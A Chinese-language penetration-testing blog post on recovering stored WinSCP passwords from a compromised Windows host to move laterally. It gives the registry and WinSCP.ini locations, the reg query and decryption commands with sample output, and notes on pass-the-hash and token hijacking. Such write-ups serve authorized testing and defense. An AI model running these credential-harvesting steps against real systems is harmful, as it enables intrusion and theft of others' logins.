MENU

获取WinSCP明文

June 29, 2015 • Security

起因

渗透测试中碰到了PC安装了WinSCP,记录一下

跳板机已经拿到了最高权限,但是想要横向拓展还是有必要收集下本机的可用凭证的

若是能拿到WinSCP的明文,肯定就能多拓展几台机器,若是还能找出密码规律就更有趣了

目标环境

Windows Server 2008 R2 X64 + WinSCP 5.7.4

WinSCP一般分两种安装模式

  • Installation package(安装包)

密文存储在注册表里,注册表键:

HKEY_USERS\CURRENT_USER_SID\Software\Martin Prikryl\WinSCP 2\Sessions
  • Portable executables(绿色版)

密文存储在程序目录的WinSCP.ini里

解密工具

这里推荐knarf写的winscppwd,由C++编写

源码:http://bitbucket.org/knarf/winscppwd/src

编译winscppwd.cpp

编译没什么好讲的,我的编译环境是VS2010,碰到的问题是MSVCP100.DLL文件缺失

解决方法:

属性 - 配置属性 - C/C++ - 代码生成 - 运行库 选择 "多线程(/MT)"
下载winscppwd.exe

winscppwd使用方法

C:\>winscppwd.exe
Restore stored password from WinSCP.
Usage:
        winscppwd.exe [user host cryptedpwd | path/to/winscp.ini | -h | /? ]  
On Windows, no options means look up in the registry.

Examples:
        winscppwd.exe foo example.com A35C4E4502235B7335F65E12961302012888799B78BAF39F5A632CA6073A333339243D312C3039723F33313F3D3739B012F6
        winscppwd.exe /tmp/winscp.ini
  • 不带参数直接运行,还原当前用户注册表中的密文
  • 通过下载WinSCP.ini到本地破解
  • 直接传入密文还原明文

渗透流程

寻找WinSCP目录

常见的寻找方式:

  • 用户桌面(%userprofile%Desktop)
  • 最近访问的位置(%userprofile%AppDataRoamingMicrosoftWindowsRecent)

判断安装方式

  • 若是在C:Program Files (x86)WinSCP,安装包安装,读注册表
  • 否则为绿色版,在WinSCP目录下就有隐藏的WinSCP.ini文件,下载到本地分析

读取配置信息

在渗透测试中,碰到WinSCP这种情况,还是不推荐直接传程序到跳板上执行,能本地分析就本地分析。

从注册表读取配置信息

C:\>reg query "HKEY_USERS"

HKEY_USERS\.DEFAULT
HKEY_USERS\S-1-5-19
HKEY_USERS\S-1-5-20
HKEY_USERS\S-1-5-21-3188298242-3960807603-4078454493-1000
HKEY_USERS\S-1-5-21-3188298242-3960807603-4078454493-1000_Classes
HKEY_USERS\S-1-5-18

C:\>reg query "HKEY_USERS\S-1-5-21-3188298242-3960807603-4078454493-1000\Software\Martin Prikryl\WinSCP 2\Sessions" /s

HKEY_USERS\S-1-5-21-3188298242-3960807603-4078454493-1000\Software\Martin Prikryl\WinSCP 2\Sessions\Default%20Settings

HKEY_USERS\S-1-5-21-3188298242-3960807603-4078454493-1000\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.30.222
    HostName    REG_SZ    192.168.30.222
    UserName    REG_SZ    root
    Password    REG_SZ    A35C4159619F9D21192E3333286D656E726D6A64726F6C726E6E6E302E686D6B6C6C69696A65F78EC8FC7688BAXXOOXXOOXX

从WinSCP.ini中读取配置信息

C:\>type WinSCP.ini
...
[Sessions\root@192.168.30.222]
HostName=192.168.30.222
UserName=root
Password=A35C415B9CC10FF0754D432E3333286D656E726D6A64726F6C726E6E6E302E686D6B6C6C69696A65BEF9B034DCXXOOXXOOXX

还原明文

C:\>winscppwd.exe root 192.168.30.222 A35C415B9CC10FF0754D432E3333286D656E726D6A64726F6C726E6E6E302E686D6B6C6C69696A65BEF9B034DCXXOOXXOOXX

root@192.168.30.222     Password123

结语

有了它,妈妈再也不用担心我碰到WinSCP玩不动了,但是还有一些问题没有解决
在服务器环境下,可能碰到有多个用户都在用WinSCP的情况,而读取注册表是没办法读取别的用户的
我能想到的办法就是模拟用户,再读取注册表键值
若是有交互式环境可以直接PTH+Remote Register,或者Token劫持,拿到别的用户环境下的shell,然后再去读取注册表键值
不知道有没有什么办法在SYSTEM权限下直接列取所有用户的注册表键值,待研究

Tags: WinSCP
Archives QR Code
QR Code for this page
Tipping QR Code